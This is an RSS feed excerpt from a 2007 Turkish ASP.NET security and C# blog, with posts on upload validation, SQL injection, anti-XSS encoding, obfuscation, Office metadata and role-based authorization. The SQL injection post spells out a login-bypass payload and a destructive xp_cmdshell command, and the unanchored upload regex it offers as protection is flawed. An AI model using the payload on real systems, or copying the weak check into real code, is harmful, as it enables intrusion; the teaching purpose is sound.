&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Bunun için System.IO.Path ve System.Text.Regex namespacelerinden yararlanacağız. &lt;/P&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;Önce upload edilen dosyasın uzantısı nı alacağız ve kabul ettiğimiz dosya türleri içerisinde olup olmadığını denetleyeceğiz.&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;PRE class=coloredcode&gt;&lt;SPAN class=kwd&gt;string&lt;/SPAN&gt; uzanti = System.IO.Path.GetExtension(FileUpload1.PostedFile.FileName);&lt;/PRE&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;System.IO.Path.GetExtension metodu uzntıyı bize “.jpg” gibi noktalı bir şekilde verir.&lt;/P&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt; 
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Kullanıcı tarafından gönderilen dosya ismi büyük harfler ile yazılmış olabilir. Buda birazdan yapacağımız karşılaştırmada farklıymış gibi algılanmasına sebep olur. Bu yüzden uzantı harflerini küçültelim.&lt;/P&gt;&lt;PRE class=coloredcode&gt;uzanti = uzanti.ToLower();&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/PRE&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Kabul edeceğimiz dosya uzantıları için teker teker if kontrolü yazmamak için Regular Expression ifadelerinden yararlacağız.&amp;nbsp;&amp;nbsp;&lt;/P&gt;&amp;nbsp;&lt;PRE class=coloredcode&gt;&lt;SPAN class=kwd&gt;using&lt;/SPAN&gt; System.Text.RegularExpressions;
.....
&lt;SPAN class=kwd&gt;if&lt;/SPAN&gt;(Regex.IsMatch(uzanti,&lt;SPAN class=st&gt;".jpg|.jpeg|.gif|.png|.bmp"&lt;/SPAN&gt;) == &lt;SPAN class=kwd&gt;false&lt;/SPAN&gt;)
{
    &lt;SPAN class=cmt&gt;// gönderilen dosya formatı uygun değil&lt;/SPAN&gt;
}
&lt;SPAN class=kwd&gt;else&lt;/SPAN&gt;
{
    &lt;SPAN class=cmt&gt;// gönderilen dosya formatı uygun.&lt;/SPAN&gt;
}
&lt;/PRE&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Kaynak &lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.owasp.org/index.php/Top_10_2007-A3" mce_href="http://www.owasp.org/index.php/Top_10_2007-A3"&gt;http://www.owasp.org/index.php/Top_10_2007-A3&lt;/A&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=64" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/ASP.NET/default.aspx">ASP.NET</category><category domain="http://selcukyavuz.net/archive/tags/C_2300_/default.aspx">C#</category><category domain="http://selcukyavuz.net/archive/tags/Security/default.aspx">Security</category></item><item><title>Injection Flaws</title><link>http://selcukyavuz.net/archive/2007/05/18/injection-flaws.aspx</link><pubDate>Fri, 18 May 2007 09:27:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:65</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=65</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/05/18/injection-flaws.aspx#comments</comments><description>&lt;P&gt;Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır. &lt;/P&gt;
&lt;P&gt;Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir. &lt;/P&gt;
&lt;P&gt;Select MemberID&lt;BR&gt;From Member &lt;BR&gt;Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"&lt;/P&gt;
&lt;P&gt;Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim&lt;/P&gt;
&lt;P&gt;txtUsername.Text :&amp;nbsp;' or 1=1 -- &lt;BR&gt;txtPassword.Text :&amp;nbsp;123&lt;/P&gt;
&lt;P&gt;ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar&lt;/P&gt;&lt;PRE class=coloredcode&gt;&lt;SPAN class=sqlkwd&gt;Select&lt;/SPAN&gt; MemberID 
&lt;SPAN class=sqlkwd&gt;From&lt;/SPAN&gt; Member 
&lt;SPAN class=sqlkwd&gt;Where&lt;/SPAN&gt; Username = &lt;SPAN class=st&gt;''&lt;/SPAN&gt; &lt;SPAN class=sqlkwd3&gt;or&lt;/SPAN&gt; 1=1 &lt;SPAN class=sqlcmt&gt;-- ' and Password = '" + txtPassword.Text + "'"&lt;/SPAN&gt;&lt;/PRE&gt;
&lt;P&gt;-- ifadesi SQL Server için yorum satırı anlamına geldi için çalıştırılmaz.&lt;/P&gt;
&lt;P&gt;Where ifadesini inceleyelim : &lt;/P&gt;
&lt;P&gt;Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur. Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve saldırgan ilk kaydın yetkisi ile içeriye giriş yapmış olur.&lt;/P&gt;
&lt;P&gt;Saldırgan “SQL Injection” yöntemi ile veritabanı hakkında daha detaylı bilgi edinebilir. SQL Server üzerinde System Administrator hesabı açabilir, Tüm Tabloların listesini ve bu tabolardaki bilgilere ulaşabilir. Hatta web uygulaması sa yetkisine sahip bir kullanıcı ile çalıştırılıyorsa xp_cmdshell ‘format C:’ ile sisteme format bile atabilir.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Dinamik SQL sorgularındaki bu içeri sızmaları engellemenin yolu parametre kullanmaktır.&lt;/P&gt;
&lt;P&gt;Bunu SqlCommand nesnesine SqlParameter tipinde parametre ekleyerek yapabiliriz.&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;SqlConnection conn = &lt;SPAN class=kwd&gt;new&lt;/SPAN&gt; SqlConnection();
conn.ConnectionString = &lt;SPAN class=st&gt;"[ ConnectionString ]"&lt;/SPAN&gt;;
SqlCommand cmd = &lt;SPAN class=kwd&gt;new&lt;/SPAN&gt; SqlCommand();
cmd.Connection = conn;
cmd.CommandText = &lt;SPAN class=st&gt;" Select MemberID"&lt;/SPAN&gt; 
 + &lt;SPAN class=st&gt;" From Member"&lt;/SPAN&gt;
 + &lt;SPAN class=st&gt;" Where Username = @username and Password = @password"&lt;/SPAN&gt;;
cmd.Parameters.AddWithValue(&lt;SPAN class=st&gt;"@username"&lt;/SPAN&gt;,txtUsername.Text);
cmd.Parameters.AddWithValue (&lt;SPAN class=st&gt;"@password"&lt;/SPAN&gt;,txtPassword.Text);
conn.Open();
&lt;SPAN class=kwd&gt;int&lt;/SPAN&gt; MembetID = Convert.ToInst32(cmd.ExecuteScalar());
conn.Close();&lt;/PRE&gt;
&lt;P&gt;Bu şekilde kullandığımız dinamik SQL sorgularında Injection yönetimini bertaraf etmiş oluruz.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Kaynaklar&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A href="http://www.owasp.org/index.php/Top_10_2007-A2" mce_href="http://www.owasp.org/index.php/Top_10_2007-A2"&gt;http://www.owasp.org/index.php/Top_10_2007-A2&lt;/A&gt; 
&lt;LI&gt;&lt;A href="http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf" mce_href="http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf"&gt;&lt;FONT color=#008ecd&gt;http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf&lt;/FONT&gt;&lt;/A&gt; 
&lt;LI&gt;&lt;A href="http://www.mutasyon.net/makaleoku.asp?id=728" mce_href="http://www.mutasyon.net/makaleoku.asp?id=728"&gt;http://www.mutasyon.net/makaleoku.asp?id=728&lt;/A&gt;&lt;BR&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=65" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/SQL_5F00_Server/default.aspx">SQL_Server</category><category domain="http://selcukyavuz.net/archive/tags/ASP.NET/default.aspx">ASP.NET</category><category domain="http://selcukyavuz.net/archive/tags/ADO.NET/default.aspx">ADO.NET</category><category domain="http://selcukyavuz.net/archive/tags/Security/default.aspx">Security</category></item><item><title>Microsoft Anti-Cross Site Scripting Library</title><link>http://selcukyavuz.net/archive/2007/05/17/53.aspx</link><pubDate>Thu, 17 May 2007 14:57:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:53</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=53</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/05/17/53.aspx#comments</comments><description>&lt;P&gt;&lt;A href="http://www.owasp.org/index.php/Top_10_2007"&gt;Owasp Top 10&lt;/A&gt;'da ilk sıraya oturmuş bir hacking yöntemi Cross Site Scripting. &lt;/P&gt;
&lt;P&gt;Üç Harfli Kısaltma sözlüğünde CSS i Cascading Style Sheets'e kaptırdığından olacak kısaca XSS olarak anılıyor. &lt;/P&gt;
&lt;P&gt;ASP.NET programcıları için Microsoft tarafından yayınlanan bir kütüphane ile XSS saldırılarına karşı önlem alabilirsiniz. &lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&amp;amp;displaylang=en"&gt;Microsoft Anti-Cross Site Scripting Library V1.5&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Bu kütüphane ile&lt;/P&gt;
&lt;UL&gt;
&lt;LI class=MsoNormal&gt;Html 
&lt;LI class=MsoNormal&gt;HtmlAttribute
&lt;LI class=MsoNormal&gt;JavaScript 
&lt;LI class=MsoNormal&gt;Url 
&lt;LI class=MsoNormal&gt;VisualBasicScript
&lt;LI class=MsoNormal&gt;Xml
&lt;LI class=MsoNormal&gt;XmlAttribute&lt;/LI&gt;&lt;/UL&gt;
&lt;P class=MsoNormal&gt;elemanlarını encode edebilirsiniz.&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=53" width="1" height="1"&gt;</description></item><item><title>Eziriz</title><link>http://selcukyavuz.net/archive/2007/05/05/eziriz.aspx</link><pubDate>Sun, 06 May 2007 01:15:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:50</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=50</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/05/05/eziriz.aspx#comments</comments><description>&lt;P&gt;.Net için hazırlanmış Obfuscator programlardan biri : &lt;A href="http://www.eziriz.com/" mce_href="http://www.eziriz.com"&gt;Eziriz&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Takdir ettiğimin özelliklerinden biri ise IL kodları silmesi. ( Artık ne yapıyorsa )&lt;/P&gt;
&lt;P&gt;Reflector ile&amp;nbsp;karışık kodları görmeme bile izin vermedi. &lt;/P&gt;
&lt;P&gt;Fiyatıda emsallerine oranla gayet makul.&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=50" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/Security/default.aspx">Security</category></item><item><title>Dsofile ile Office Belgelerinin Özelliklerini düzenlemek</title><link>http://selcukyavuz.net/archive/2007/04/16/dsofile-ile-office-belgelerinin-214-zelliklerini-d-252-zenlemek.aspx</link><pubDate>Mon, 16 Apr 2007 09:35:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:67</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=67</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/04/16/dsofile-ile-office-belgelerinin-214-zelliklerini-d-252-zenlemek.aspx#comments</comments><description>&lt;P&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: TR; mso-fareast-language: TR; mso-bidi-language: AR-SA"&gt;&lt;FONT size=5&gt;0.Giriş&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;Metadata ifadesinin tanımına baktığımızda “veri hakkında veri” diye bir kavram ile karşılaşırız. En basit örneği ile MP3 dosyalarımızda dinlediğimiz müziğin ses bilgilerinin yanı sıra sanatçı, parça ismi, yapım yılı gibi bilgilerininde ID3 formatında bulunmasıdır. Bu bilgiler MP3 dosyalarının son 128 bitinde yer alır. Başka bir örnekte dijital fotoğraf makinesi ile çekilen fotoğraf belgelerinde bulunan EXIF bilgileridir. Buda çekilen fotoğrafın tarihi, makinenin markası ve ışık, pozlama gibi fotoğrafçılık ile ilgili bilgilerin aynı dosyada barındırılmasını sağlar. Bütün bu bilgilerini saklanma sebebi herhangi bir arama işleminde ulaşılacak veri hakkında özet verilere ulaşmaktır. &lt;/P&gt;
&lt;P&gt;Günümüzde arama motorlarının önem kazanması ve bu konuda yapılan arge çalışmaları ve yatırımların artmasıda ulaşılmak istenen verinin daha kısa zamanda bulunması içindir. &lt;/P&gt;
&lt;P&gt;Google ve MSN arama motorlarının Desktop versiyonları temelde IFilter arayüzü ile sistemimizdeki tüm dosyaları indeksler. [1] Bunun için yazılım firmaları kendi ürünleri için bir IFilter arayüzünü programlar. Microsoft Office’i kurduğunuzda bu sisteminizde otomatik kurulurken PDF dökümanları için Adobe firmasının sitesininden IFilter arayüzünü indirip kurmanız gerekmektedir.&amp;nbsp; [2]&lt;/P&gt;
&lt;P&gt;Bazı komponent firmaları ise JPEG [3] ve Audio Video [4] formları için ücretli IFilter arayüzleri oluşturlardır. &lt;/P&gt;
&lt;P&gt;Tüm bu IFilter arayüzlerinin temeli ise Object Linking and Embed teknolojisi altındaki IpropertyStorage arayüzünün kullanılması ile bağlantılıdır. [5] Buda bir programcı için Win32 sistem kaynaklarının kullanımının zorluğu demektirki her yazılım firmasının kendi IFilter arayüzünü yazması için bir sebeptir. &lt;/P&gt;
&lt;P&gt;Microsoft, Office belgelerindeki bu metadata’ların programcı tarafından okunması ve değiştirilebilmesi için “Microsoft Developer Support OLE File Property Reader 2.0” ismi altında C++ ile geliştirdiği bir COM komponentini geliştirmiş. [ 6 ]&lt;/P&gt;
&lt;P&gt;Herhangi bir Office belgesinin üzerine sağ tıklayıp özelliklerine girdiğimizde aşağıdaki gibi özet bilgilere ulaşabiliriz : &lt;BR&gt;&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://selcukyavuz.net/images/Dsofile-ile-Office-Belgelerinin-Ozelliklerini-Duzenlemek-1.jpg" mce_src="http://selcukyavuz.net/images/Dsofile-ile-Office-Belgelerinin-Ozelliklerini-Duzenlemek-1.jpg"&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: TR; mso-fareast-language: TR; mso-bidi-language: AR-SA"&gt;Buradaki bilgilerden bazılarını değiştirebilirken bazılarıda salt okunurdur.&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: TR; mso-fareast-language: TR; mso-bidi-language: AR-SA"&gt;&lt;FONT size=5&gt;1. Senaryo&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;Bir kitabevi yabancı dilden çevirdiği eserler için çeviri yapan kişiye kelime başına bedel ödemektedir. Aysonu geldiğinde içinde bulundukları ay boyunca yapılan tüm çeviler hesaplanıp ödeme planı çıkarılmaktadır. Buna ek olarak yapılan çevirilerin karakter sayıları, boşluklarla birlikte karakter sayıları, sayfa sayıları ve kelime sayıları istatistiki bilgi olarak tutulmaktadır. Çeviri bedellerini hesaplayan şahıs zaman zaman word belgelerinde bulunan Author özelliğinde düzenleme yapabilmelidir.&lt;/P&gt;
&lt;P&gt;&lt;FONT size=5&gt;2. Çözüm&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Kullanıcının kendi dosyaları arasında rahatça dolaşabilmesi için Form’umuza bir adet TreeView kontrolü ekledim. Ve Form’un Load ve TreeView’ın AfterSelect event’larına gerekli kodları yazdım. &lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://selcukyavuz.net/images/Dsofile-ile-Office-Belgelerinin-Ozelliklerini-Duzenlemek-2.jpg" mce_src="http://selcukyavuz.net/images/Dsofile-ile-Office-Belgelerinin-Ozelliklerini-Duzenlemek-2.jpg"&gt;&lt;/P&gt;
&lt;P&gt;Makalenin örnek projesinde detaylarını inceleyebilirsiniz. Biz asıl konumuza odaklanalım.&lt;/P&gt;
&lt;P&gt;&lt;FONT size=4&gt;2.1 Okuma&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Herhangi bir word dosyası seçildiğinde&lt;/P&gt;
&lt;P&gt;DSOFile.OleDocumentPropertiesClass namsespace’indeki class’ın bir instance’ını oluşturuyoruz :&lt;/P&gt;&lt;PRE class=coloredcode&gt;DSOFile.OleDocumentPropertiesClass odp = &lt;SPAN class=kwd&gt;new&lt;/SPAN&gt; DSOFile.OleDocumentPropertiesClass();&lt;/PRE&gt;
&lt;P&gt;Daha sonra Open metodu ile ilgili dosyayı açmamız gerekiyor. Open metodu üç parametre almaktadır : &lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;void OleDocumentPropertiesClass.Open(&lt;BR&gt;string fileName,&lt;BR&gt;bool ReadOnly,&lt;BR&gt;DSOFile.dsoFileOpenOptions Options&lt;BR&gt;);&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;fileName : Bilgileri okunacak dosyanın yolu.&lt;/P&gt;
&lt;P&gt;ReadOnly : True ise açılan dosya bilgileri değiştirilemez. False ise değiştirilebilir. &lt;/P&gt;
&lt;P&gt;Options : DSOFile içinde bulunan enum tipinde değişkendir. Alabileceği değerler &lt;/P&gt;
&lt;P&gt;•&amp;nbsp;dsoOptionDefault&lt;BR&gt;•&amp;nbsp;dsoOptionDontAutoCreate &lt;BR&gt;•&amp;nbsp;dsoOptionOnlyOpenOLEFiles &lt;BR&gt;•&amp;nbsp;dsoOptionOpenReadOnlyIfNoWriteAccess &lt;BR&gt;•&amp;nbsp;dsoOptionUseMBCStringsForNewSets &lt;BR&gt;&lt;/P&gt;
&lt;P&gt;Artık dosyamızı bilgi okumak için açıyoruz :&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;odp.Open(fileInfo.FullName, &lt;SPAN class=kwd&gt;true&lt;/SPAN&gt;, DSOFile.dsoFileOpenOptions.dsoOptionDefault); &lt;/PRE&gt;
&lt;P&gt;Bundan sonra ihtiyacımız olan verileri odp objesinden okuyabiliriz.&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;&lt;SPAN class=kwd&gt;string&lt;/SPAN&gt; author = odp.SummaryProperties.Author;
&lt;SPAN class=kwd&gt;int&lt;/SPAN&gt; characterCount = odp.SummaryProperties.CharacterCount;
&lt;SPAN class=kwd&gt;int&lt;/SPAN&gt; characterCountWithSpaces = odp.SummaryProperties.CharacterCountWithSpaces;
&lt;SPAN class=kwd&gt;int&lt;/SPAN&gt; pageCount = odp.SummaryProperties.PageCount;
&lt;SPAN class=kwd&gt;int&lt;/SPAN&gt; wordCount = odp.SummaryProperties.WordCount;&lt;/PRE&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: TR; mso-fareast-language: TR; mso-bidi-language: AR-SA"&gt;İşimiz bittikten sonra objemizi Close metodu ile kapatabiliriz. Close metodu ise bir parametre almaktadır.&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;void OleDocumentPropertiesClass(bool SaveBeforeClose)&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;SaveBeforeClose : True ise yapılan değişiklikleri kaydeder ve kapatır,&amp;nbsp; false ise kaydetmeden kapatır. &lt;/P&gt;
&lt;P&gt;Herhangi bir değişiklik yapmadığımız için false değeri ile close metodunu çalıştırıyoruz:&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;odp.Close(&lt;SPAN class=kwd&gt;false&lt;/SPAN&gt;); &lt;/PRE&gt;
&lt;P&gt;&lt;FONT size=4&gt;2.2 Yazma&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Save butonu altında yaptığımız tek değişiklik Author kısmıdır bu yüzden benzer sadece Author özelliğini değiştirip nesnemizi kapatırken true değerini vereceğiz.&lt;/P&gt;&lt;PRE class=coloredcode&gt;DSOFile.OleDocumentPropertiesClass odp = &lt;SPAN class=kwd&gt;new&lt;/SPAN&gt; DSOFile.OleDocumentPropertiesClass();
odp.Open(fileInfo.FullName, &lt;SPAN class=kwd&gt;false&lt;/SPAN&gt;, DSOFile.dsoFileOpenOptions.dsoOptionDefault);
odp.SummaryProperties.Author = txtAuthor.Text;

odp.Close(&lt;SPAN class=kwd&gt;true&lt;/SPAN&gt;);&lt;/PRE&gt;&lt;PRE class=coloredcode&gt;&lt;/PRE&gt;
&lt;P&gt;[1] &lt;A href="http://www.codeproject.com/csharp/IFilter.asp" mce_href="http://www.codeproject.com/csharp/IFilter.asp"&gt;http://www.codeproject.com/csharp/IFilter.asp&lt;/A&gt; &lt;BR&gt;[2] &lt;A href="http://www.adobe.com/support/downloads/detail.jsp?ftpID=2611" mce_href="http://www.adobe.com/support/downloads/detail.jsp?ftpID=2611"&gt;http://www.adobe.com/support/downloads/detail.jsp?ftpID=2611&lt;/A&gt;&lt;BR&gt;[3] &lt;A href="http://www.aimingtech.com/jpeg_ifilter/download.htm" mce_href="http://www.aimingtech.com/jpeg_ifilter/download.htm"&gt;http://www.aimingtech.com/jpeg_ifilter/download.htm&lt;/A&gt;&lt;BR&gt;[4] &lt;A href="http://www.aimingtech.com/av_ifilter/index.htm" mce_href="http://www.aimingtech.com/av_ifilter/index.htm"&gt;http://www.aimingtech.com/av_ifilter/index.htm&lt;/A&gt; &lt;BR&gt;[5] &lt;A href="http://msdn2.microsoft.com/en-us/library/aa379968.aspx" mce_href="http://msdn2.microsoft.com/en-us/library/aa379968.aspx"&gt;http://msdn2.microsoft.com/en-us/library/aa379968.aspx&lt;/A&gt; &lt;BR&gt;[ 6 ] &lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9ba6fac6-520b-4a0a-878a-53ec8300c4c2&amp;amp;DisplayLang=en" mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9ba6fac6-520b-4a0a-878a-53ec8300c4c2&amp;amp;DisplayLang=en"&gt;http://www.microsoft.com/downloads/details.aspx?FamilyID=9ba6fac6-520b-4a0a-878a-53ec8300c4c2&amp;amp;DisplayLang=en&lt;/A&gt; &lt;BR&gt;&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=67" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/C_2300_/default.aspx">C#</category><category domain="http://selcukyavuz.net/archive/tags/Office_5F00_System/default.aspx">Office_System</category></item><item><title>Dynamic Role Based Security</title><link>http://selcukyavuz.net/archive/2007/03/27/45.aspx</link><pubDate>Tue, 27 Mar 2007 11:22:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:45</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=45</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/03/27/45.aspx#comments</comments><description>&lt;P&gt;&lt;A href="http://www.eggheadcafe.com/articles/pbrombergresume.asp"&gt;Peter Bromberg&lt;/A&gt;'in &lt;A href="http://www.eggheadcafe.com/articles/20020906.asp"&gt;FormsAuthentication, Identities and Role - based Security with a database&lt;/A&gt;&amp;nbsp;isimli makalesinde role tabanlı güvenliği nasıl sağlayacağımızı bir güzel anlatmış. &lt;/P&gt;
&lt;P&gt;Kullanıcı giriş yaptıktan sonra herhangi bir işlem için User.IsInRole metodu ile yetkisini sınayabiliyoruz.&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;&lt;SPAN class=kwd&gt;if&lt;/SPAN&gt; (User.IsInRole(&lt;SPAN class=st&gt;"Administrator"&lt;/SPAN&gt;)) 
{
    &lt;SPAN class=cmt&gt;// bir şeyler yap&lt;/SPAN&gt;
}
&lt;SPAN class=kwd&gt;else&lt;/SPAN&gt;
{
    &lt;SPAN class=cmt&gt;// yetkin yok&lt;/SPAN&gt;
}&lt;/PRE&gt;
&lt;P&gt;Buda&amp;nbsp;bir noktadan sonra güvenliği "code based" hale getiriyor ve yetki denetimi yapacağımız yerlerde bu if ifadesini eklememiz anlamına geliyor. Açıkça bu tür bir yetki denetimi benim pek hoşuma gitmiyor. İlgili işleme birde Supervizor'un yetki si eklendiğinde if satırımızı şu hale getirmemiz gerekecek :&amp;nbsp;&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;&lt;SPAN class=kwd&gt;if&lt;/SPAN&gt; ( &lt;BR&gt;    User.IsInRole(&lt;SPAN class=st&gt;"Administrator"&lt;/SPAN&gt;) == &lt;SPAN class=kwd&gt;true&lt;/SPAN&gt; &lt;BR&gt;    || &lt;BR&gt;    User.IsInRole(&lt;SPAN class=st&gt;"Supervizor"&lt;/SPAN&gt;) == &lt;SPAN class=kwd&gt;true&lt;/SPAN&gt; &lt;BR&gt;   ) &lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;Yeni bir rol eklendiğinde if satırımızda değişiklik yapmak gerecek. &lt;/P&gt;
&lt;P&gt;Bu yetki denetimini olabildiğinde kod dışınadn tutmanın diğer bir yolu ise yetkileri web.config'ten belirlemek.&lt;/P&gt;&lt;PRE class=coloredcode&gt;
&amp;lt;&lt;SPAN class=tag&gt;configuration&lt;/SPAN&gt;&amp;gt;
    
   ....


  &amp;lt;&lt;SPAN class=tag&gt;location&lt;/SPAN&gt;&lt;SPAN class=attr&gt; path=&lt;/SPAN&gt;&lt;SPAN class=attrv&gt;"Admin"&lt;/SPAN&gt;&amp;gt;
    &amp;lt;&lt;SPAN class=tag&gt;system.web&lt;/SPAN&gt;&amp;gt;
      &amp;lt;&lt;SPAN class=tag&gt;authorization&lt;/SPAN&gt;&amp;gt;
        &amp;lt;&lt;SPAN class=tag&gt;allow&lt;/SPAN&gt;&lt;SPAN class=attr&gt; roles=&lt;/SPAN&gt;&lt;SPAN class=attrv&gt;"Admin,Supervizor"&lt;/SPAN&gt; /&amp;gt;
        &amp;lt;&lt;SPAN class=tag&gt;deny&lt;/SPAN&gt;&lt;SPAN class=attr&gt; users=&lt;/SPAN&gt;&lt;SPAN class=attrv&gt;"*"&lt;/SPAN&gt; /&amp;gt;
      &amp;lt;/&lt;SPAN class=tag&gt;authorization&lt;/SPAN&gt;&amp;gt;
    &amp;lt;/&lt;SPAN class=tag&gt;system.web&lt;/SPAN&gt;&amp;gt;
  &amp;lt;/&lt;SPAN class=tag&gt;location&lt;/SPAN&gt;&amp;gt;     

&amp;lt;/&lt;SPAN class=tag&gt;configuration&lt;/SPAN&gt;&amp;gt;&lt;/PRE&gt;
&lt;P&gt;Artık User.InRole mümkün mertebe daha az kullanılır hale getirdik. Peki, başlıkta da belirttiğinmiz gibi rollerimiz dinamik ise ? Yeni eklenen rol ü web.config e elimizel mi ekleyeceğiz ?&lt;/P&gt;
&lt;P&gt;"&lt;A href="http://www.google.com.tr/search?hl=tr&amp;amp;q=Dynamic+web.config&amp;amp;btnG=Ara&amp;amp;meta="&gt;Dynamic web.config&lt;/A&gt;" diye kısa bir google sorgulamasında güzel kaynaklara ulaşıyoruz. Yine Peter&amp;nbsp;Bromberg abimizin &lt;A href="http://www.eggheadcafe.com/articles/20030907.asp"&gt;Runtime Web.config / App.config Editing &lt;/A&gt;başlıklı güzel bir makalesine rastlıyoruz. Ancak benzer çoğu makale AppSetting ve ConnectionString üzerine odaklanmış. &lt;/P&gt;
&lt;P&gt;Burdan hareketle kendi çözümümüzü üretmeye başlıyoruz. &lt;/P&gt;
&lt;P&gt;Tam olarak yapmak istediğiniz&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;&amp;lt;&lt;SPAN class=tag&gt;allow&lt;/SPAN&gt;&lt;SPAN class=attr&gt; roles=&lt;/SPAN&gt;&lt;SPAN class=attrv&gt;"Admin,Supervizor"&lt;/SPAN&gt; /&amp;gt;&lt;/PRE&gt;
&lt;P&gt;satırına yeni bir role eklemek.&lt;/P&gt;
